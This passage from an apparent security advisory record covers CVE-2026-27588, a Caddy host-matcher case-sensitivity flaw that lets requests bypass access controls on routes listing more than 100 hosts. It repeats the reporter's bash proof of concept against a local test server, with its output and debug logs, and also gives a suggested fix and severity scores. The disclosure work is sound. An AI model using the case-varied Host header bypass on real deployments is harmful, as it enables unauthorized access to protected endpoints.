curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: H050.TEST\" \"http://${HOST}:${PORT}/admin\" 2>&1 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2>/dev/null || true\nwait \"${CADDY_PID}\" 2>/dev/null || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n\n```\n
\n\n
\nExpected output (Click to expand)\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=\n\n== Caddyfile ==\n{\n debug\n}\n\n:8080 {\n log\n @protected {\n host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n path /admin\n }\n respond @protected \"DENY\" 403\n respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin\n* Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin HTTP/1.1\n> Host: h050.test\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n* Request completely sent off\n< HTTP/1.1 403 Forbidden\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:09:09 GMT\n< Content-Length: 4\n<\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin\n* Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin HTTP/1.1\n> Host: H050.TEST\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:09:09 GMT\n< Content-Length: 5\n<\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770588548.012352,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770588548.0125406,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com/KimMachineGun/automemlimit/memlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770588548.0125597,\"msg\":\"using config from file\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\"}\n{\"level\":\"info\",\"ts\":1770588548.0131946,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770588548.013202,\"msg\":\"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770588548.0139973,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_origin\":false,\"origins\":[\"//127.0.0.1:2019\",\"//localhost:2019\",\"//[::1]:2019\"]}\n{\"level\":\"debug\",\"ts\":1770588548.0140707,\"logger\":\"http.auto_https\",\"msg\":\"adjusted config\",\"tls\":{\"automation\":{\"policies\":[{}]}},\"http\":{\"servers\":{\"srv0\":{\"listen\":[\":8080\"],\"routes\":[{\"handle\":[{\"handler\":\"subroute\",\"routes\":[{\"handle\":[{\"body\":\"DENY\",\"handler\":\"static_response\",\"status_code\":403}],\"match\":[{\"host\":[\"h001.test\",\"h002.test\",\"h003.test\",\"h004.test\",\"h005.test\",\"h006.test\",\"h007.test\",\"h008.test\",\"h009.test\",\"h010.test\",\"h011.test\",\"h012.test\",\"h013.test\",\"h014.test\",\"h015.test\",\"h016.test\",\"h017.test\",\"h018.test\",\"h019.test\",\"h020.test\",\"h021.test\",\"h022.test\",\"h023.test\",\"h024.test\",\"h025.test\",\"h026.test\",\"h027.test\",\"h028.test\",\"h029.test\",\"h030.test\",\"h031.test\",\"h032.test\",\"h033.test\",\"h034.test\",\"h035.test\",\"h036.test\",\"h037.test\",\"h038.test\",\"h039.test\",\"h040.test\",\"h041.test\",\"h042.test\",\"h043.test\",\"h044.test\",\"h045.test\",\"h046.test\",\"h047.test\",\"h048.test\",\"h049.test\",\"h050.test\",\"h051.test\",\"h052.test\",\"h053.test\",\"h054.test\",\"h055.test\",\"h056.test\",\"h057.test\",\"h058.test\",\"h059.test\",\"h060.test\",\"h061.test\",\"h062.test\",\"h063.test\",\"h064.test\",\"h065.test\",\"h066.test\",\"h067.test\",\"h068.test\",\"h069.test\",\"h070.test\",\"h071.test\",\"h072.test\",\"h073.test\",\"h074.test\",\"h075.test\",\"h076.test\",\"h077.test\",\"h078.test\",\"h079.test\",\"h080.test\",\"h081.test\",\"h082.test\",\"h083.test\",\"h084.test\",\"h085.test\",\"h086.test\",\"h087.test\",\"h088.test\",\"h089.test\",\"h090.test\",\"h091.test\",\"h092.test\",\"h093.test\",\"h094.test\",\"h095.test\",\"h096.test\",\"h097.test\",\"h098.test\",\"h099.test\",\"h100.test\",\"h101.test\"],\"path\":[\"/admin\"]}]},{\"handle\":[{\"body\":\"ALLOW\",\"handler\":\"static_response\",\"status_code\":200}]}]}],\"terminal\":true}],\"automatic_https\":{},\"logs\":{}}}}}\n{\"level\":\"info\",\"ts\":1770588548.0143135,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0xc0000d7c80\"}\n{\"level\":\"debug\",\"ts\":1770588548.0143793,\"logger\":\"http\",\"msg\":\"starting server loop\",\"address\":\"[::]:8080\",\"tls\":false,\"http3\":false}\n{\"level\":\"warn\",\"ts\":1770588548.014415,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1770588548.0144184,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1770588548.0144203,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"debug\",\"ts\":1770588548.014438,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"started\",\"id\":\"1c7f6534-d264-456d-988d-e9f77a099c42\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588548.0145273,\"msg\":\"autosaved config (load with --resume flag)\",\"file\":\"/home/vh/.config/caddy/autosave.json\"}\n{\"level\":\"info\",\"ts\":1770588548.0145316,\"msg\":\"serving initial configuration\"}\n{\"level\":\"info\",\"ts\":1770588548.0274432,\"logger\":\"tls\",\"msg\":\"storage cleaning happened too recently; skipping for now\",\"storage\":\"FileStorage:/home/vh/.local/share/caddy\",\"instance\":\"a259f82d-3c7c-4706-9ca8-17456b4af729\",\"try_again\":1770674948.0274422,\"try_again_in\":86399.999999709}\n{\"level\":\"info\",\"ts\":1770588548.0275078,\"logger\":\"tls\",\"msg\":\"finished cleaning storage units\"}\n{\"level\":\"info\",\"ts\":1770588549.9694445,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53220\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"h050.test\",\"uri\":\"/admin\",\"headers\":{\"User-Agent\":[\"curl/8.15.0\"],\"Accept\":[\"*/*\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.000014857,\"size\":4,\"status\":403,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9741833,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53234\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"H050.TEST\",\"uri\":\"/admin\",\"headers\":{\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.15.0\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.00000551,\"size\":5,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9751372,\"msg\":\"shutting down apps, then terminating\",\"signal\":\"SIGTERM\"}\n{\"level\":\"warn\",\"ts\":1770588549.9751456,\"msg\":\"exiting; byeee!! 👋\",\"signal\":\"SIGTERM\"}\n{\"level\":\"debug\",\"ts\":1770588549.9751775,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"stopping\",\"id\":\"e02c5e64-9d76-48b6-a967-4f003850bdd4\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588549.9751873,\"logger\":\"http\",\"msg\":\"servers shutting down with eternal grace period\"}\n{\"level\":\"info\",\"ts\":1770588549.975331,\"logger\":\"admin\",\"msg\":\"stopped previous server\",\"address\":\"localhost:2019\"}\n{\"level\":\"info\",\"ts\":1770588549.9753368,\"msg\":\"shutdown complete\",\"signal\":\"SIGTERM\",\"exit_code\":0}\n```\n
\n\n### Impact\nThis is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on `host` matchers with large host lists (>100) to select protected routes (e.g. applying `basicauth`, `forward_auth`, `respond` deny rules, or protecting `reverse_proxy` backends) can be bypassed by varying the case of the `Host` header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.\n\nThe reproduction is minimal per the reporting guidance; a realistic \"full\" scenario is Caddy fronting a multi-tenant app and doing `forward_auth`/`basicauth`/`deny` for `/admin` only when host is in a big (>100) allowlist, but the default handler still `reverse_proxy`ing to the same app. Then sending `Host: H050.TEST` skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> `/admin` is reachable without the intended guard.\n\n\n### AI Use Disclosure\nA custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.\n\n### Disclosure/crediting\n\nAsim Viladi Oglu Manizada", "title": "github - https://github.com/advisories/GHSA-x76f-jf84-rqj8" }, { "category": "description", "text": "### Summary\nCaddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.\n\n### Details\nIn Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively:\n\n- `modules/caddyhttp/matchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).`\n\nHowever, in `MatchHost.MatchWithError`, when the host list is considered \"large\" (`len(m) > 100`):\n\n- `MatchHost.large()` returns true for `len(m) > 100` (`modules/caddyhttp/matchers.go`, around the `large()` helper).\n- The matcher takes a \"fast path\" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`).\n- After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running.\n\nNet effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should.\n\n#### Suggested fix\n- Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries).\n- Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release I reference in the repro below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed)\n\n
\nScript (Click to expand)\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCADDY_BIN=\"/opt/caddy-2.10.2/caddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}/Caddyfile\"\nLOG=\"${TMPDIR}/caddy.log\"\n\ncleanup() {\n if [ -n \"${CADDY_PID:-}\" ] && kill -0 \"${CADDY_PID}\" 2>/dev/null; then\n kill \"${CADDY_PID}\" 2>/dev/null || true\n wait \"${CADDY_PID}\" 2>/dev/null || true\n fi\n rm -rf \"${TMPDIR}\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n echo \"error: missing caddy binary at ${CADDY_BIN}\" >&2\n exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat >\"${CADDYFILE}\" <\"${LOG}\" 2>&1 &\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: h050.test\" \"http://${HOST}:${PORT}/admin\" 2>&1 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: H050.TEST\" \"http://${HOST}:${PORT}/admin\" 2>&1 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2>/dev/null || true\nwait \"${CADDY_PID}\" 2>/dev/null || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n\n```\n
\n\n
\nExpected output (Click to expand)\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=\n\n== Caddyfile ==\n{\n debug\n}\n\n:8080 {\n log\n @protected {\n host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n path /admin\n }\n respond @protected \"DENY\" 403\n respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin\n* Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin HTTP/1.1\n> Host: h050.test\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n* Request completely sent off\n< HTTP/1.1 403 Forbidden\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:09:09 GMT\n< Content-Length: 4\n<\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin\n* Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin HTTP/1.1\n> Host: H050.TEST\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:09:09 GMT\n< Content-Length: 5\n<\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770588548.012352,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770588548.0125406,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com/KimMachineGun/automemlimit/memlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770588548.0125597,\"msg\":\"using config from file\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\"}\n{\"level\":\"info\",\"ts\":1770588548.0131946,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770588548.013202,\"msg\":\"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770588548.0139973,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_origin\":false,\"origins\":[\"//127.0.0.1:2019\",\"//localhost:2019\",\"//[::1]:2019\"]}\n{\"level\":\"debug\",\"ts\":1770588548.0140707,\"logger\":\"http.auto_https\",\"msg\":\"adjusted config\",\"tls\":{\"automation\":{\"policies\":[{}]}},\"http\":{\"servers\":{\"srv0\":{\"listen\":[\":8080\"],\"routes\":[{\"handle\":[{\"handler\":\"subroute\",\"routes\":[{\"handle\":[{\"body\":\"DENY\",\"handler\":\"static_response\",\"status_code\":403}],\"match\":[{\"host\":[\"h001.test\",\"h002.test\",\"h003.test\",\"h004.test\",\"h005.test\",\"h006.test\",\"h007.test\",\"h008.test\",\"h009.test\",\"h010.test\",\"h011.test\",\"h012.test\",\"h013.test\",\"h014.test\",\"h015.test\",\"h016.test\",\"h017.test\",\"h018.test\",\"h019.test\",\"h020.test\",\"h021.test\",\"h022.test\",\"h023.test\",\"h024.test\",\"h025.test\",\"h026.test\",\"h027.test\",\"h028.test\",\"h029.test\",\"h030.test\",\"h031.test\",\"h032.test\",\"h033.test\",\"h034.test\",\"h035.test\",\"h036.test\",\"h037.test\",\"h038.test\",\"h039.test\",\"h040.test\",\"h041.test\",\"h042.test\",\"h043.test\",\"h044.test\",\"h045.test\",\"h046.test\",\"h047.test\",\"h048.test\",\"h049.test\",\"h050.test\",\"h051.test\",\"h052.test\",\"h053.test\",\"h054.test\",\"h055.test\",\"h056.test\",\"h057.test\",\"h058.test\",\"h059.test\",\"h060.test\",\"h061.test\",\"h062.test\",\"h063.test\",\"h064.test\",\"h065.test\",\"h066.test\",\"h067.test\",\"h068.test\",\"h069.test\",\"h070.test\",\"h071.test\",\"h072.test\",\"h073.test\",\"h074.test\",\"h075.test\",\"h076.test\",\"h077.test\",\"h078.test\",\"h079.test\",\"h080.test\",\"h081.test\",\"h082.test\",\"h083.test\",\"h084.test\",\"h085.test\",\"h086.test\",\"h087.test\",\"h088.test\",\"h089.test\",\"h090.test\",\"h091.test\",\"h092.test\",\"h093.test\",\"h094.test\",\"h095.test\",\"h096.test\",\"h097.test\",\"h098.test\",\"h099.test\",\"h100.test\",\"h101.test\"],\"path\":[\"/admin\"]}]},{\"handle\":[{\"body\":\"ALLOW\",\"handler\":\"static_response\",\"status_code\":200}]}]}],\"terminal\":true}],\"automatic_https\":{},\"logs\":{}}}}}\n{\"level\":\"info\",\"ts\":1770588548.0143135,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0xc0000d7c80\"}\n{\"level\":\"debug\",\"ts\":1770588548.0143793,\"logger\":\"http\",\"msg\":\"starting server loop\",\"address\":\"[::]:8080\",\"tls\":false,\"http3\":false}\n{\"level\":\"warn\",\"ts\":1770588548.014415,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1770588548.0144184,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1770588548.0144203,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"debug\",\"ts\":1770588548.014438,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"started\",\"id\":\"1c7f6534-d264-456d-988d-e9f77a099c42\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588548.0145273,\"msg\":\"autosaved config (load with --resume flag)\",\"file\":\"/home/vh/.config/caddy/autosave.json\"}\n{\"level\":\"info\",\"ts\":1770588548.0145316,\"msg\":\"serving initial configuration\"}\n{\"level\":\"info\",\"ts\":1770588548.0274432,\"logger\":\"tls\",\"msg\":\"storage cleaning happened too recently; skipping for now\",\"storage\":\"FileStorage:/home/vh/.local/share/caddy\",\"instance\":\"a259f82d-3c7c-4706-9ca8-17456b4af729\",\"try_again\":1770674948.0274422,\"try_again_in\":86399.999999709}\n{\"level\":\"info\",\"ts\":1770588548.0275078,\"logger\":\"tls\",\"msg\":\"finished cleaning storage units\"}\n{\"level\":\"info\",\"ts\":1770588549.9694445,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53220\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"h050.test\",\"uri\":\"/admin\",\"headers\":{\"User-Agent\":[\"curl/8.15.0\"],\"Accept\":[\"*/*\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.000014857,\"size\":4,\"status\":403,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9741833,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53234\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"H050.TEST\",\"uri\":\"/admin\",\"headers\":{\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.15.0\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.00000551,\"size\":5,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9751372,\"msg\":\"shutting down apps, then terminating\",\"signal\":\"SIGTERM\"}\n{\"level\":\"warn\",\"ts\":1770588549.9751456,\"msg\":\"exiting; byeee!! 👋\",\"signal\":\"SIGTERM\"}\n{\"level\":\"debug\",\"ts\":1770588549.9751775,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"stopping\",\"id\":\"e02c5e64-9d76-48b6-a967-4f003850bdd4\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588549.9751873,\"logger\":\"http\",\"msg\":\"servers shutting down with eternal grace period\"}\n{\"level\":\"info\",\"ts\":1770588549.975331,\"logger\":\"admin\",\"msg\":\"stopped previous server\",\"address\":\"localhost:2019\"}\n{\"level\":\"info\",\"ts\":1770588549.9753368,\"msg\":\"shutdown complete\",\"signal\":\"SIGTERM\",\"exit_code\":0}\n```\n
\n\n### Impact\nThis is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on `host` matchers with large host lists (>100) to select protected routes (e.g. applying `basicauth`, `forward_auth`, `respond` deny rules, or protecting `reverse_proxy` backends) can be bypassed by varying the case of the `Host` header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.\n\nThe reproduction is minimal per the reporting guidance; a realistic \"full\" scenario is Caddy fronting a multi-tenant app and doing `forward_auth`/`basicauth`/`deny` for `/admin` only when host is in a big (>100) allowlist, but the default handler still `reverse_proxy`ing to the same app. Then sending `Host: H050.TEST` skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> `/admin` is reachable without the intended guard.\n\n\n### AI Use Disclosure\nA custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.\n\n### Disclosure/crediting\n\nAsim Viladi Oglu Manizada", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-x76f-jf84-rqj8.json?alt=media" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header. Version 2.11.1 contains a fix for the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27588.json?alt=media" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header. Version 2.11.1 contains a fix for the issue.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-27588" }, { "category": "description", "text": "Caddy MatchHost becomes case-sensitive in github.com/caddyserver/caddy/v2", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4541.json?alt=media" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header. Version 2.11.1 contains a fix for the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Ubuntu%2FUBUNTU-CVE-2026-27588.json?alt=media" }, { "category": "description", "text": "Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2FCVE-2026-27588.yml/raw" }, { "category": "description", "text": "Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2Fmodules%2Fcaddyhttp%2FCVE-2026-27588.yml/raw" }, { "category": "other", "text": "0.0004", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P", "title": "CVSSV4" }, { "category": "other", "text": "7.7", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5918973", "CSAFPID-5918975" ], "known_affected": [ "CSAFPID-5688699", "CSAFPID-5700114", "CSAFPID-4034332", "CSAFPID-4034342", "CSAFPID-4034343", "CSAFPID-4034344", "CSAFPID-4034345", "CSAFPID-4034346", "CSAFPID-4034347", "CSAFPID-4034348", "CSAFPID-4034349", "CSAFPID-4034350", "CSAFPID-4034351", "CSAFPID-4034352", "CSAFPID-4034353", "CSAFPID-4034354", "CSAFPID-4034355", "CSAFPID-4034356", "CSAFPID-4034357", "CSAFPID-4034358", "CSAFPID-4034359", "CSAFPID-4034360", "CSAFPID-4034361", "CSAFPID-4034362", "CSAFPID-4034363", "CSAFPID-4034364", "CSAFPID-4034378", "CSAFPID-4034379", "CSAFPID-4034380", "CSAFPID-4034387", "CSAFPID-4034396", "CSAFPID-4034400", "CSAFPID-4034401", "CSAFPID-4034402", "CSAFPID-4034407", "CSAFPID-4034411", "CSAFPID-4034417", "CSAFPID-4034418", "CSAFPID-4034419", "CSAFPID-4034420", "CSAFPID-4034435", "CSAFPID-4034436", "CSAFPID-4034437", "CSAFPID-4034438", 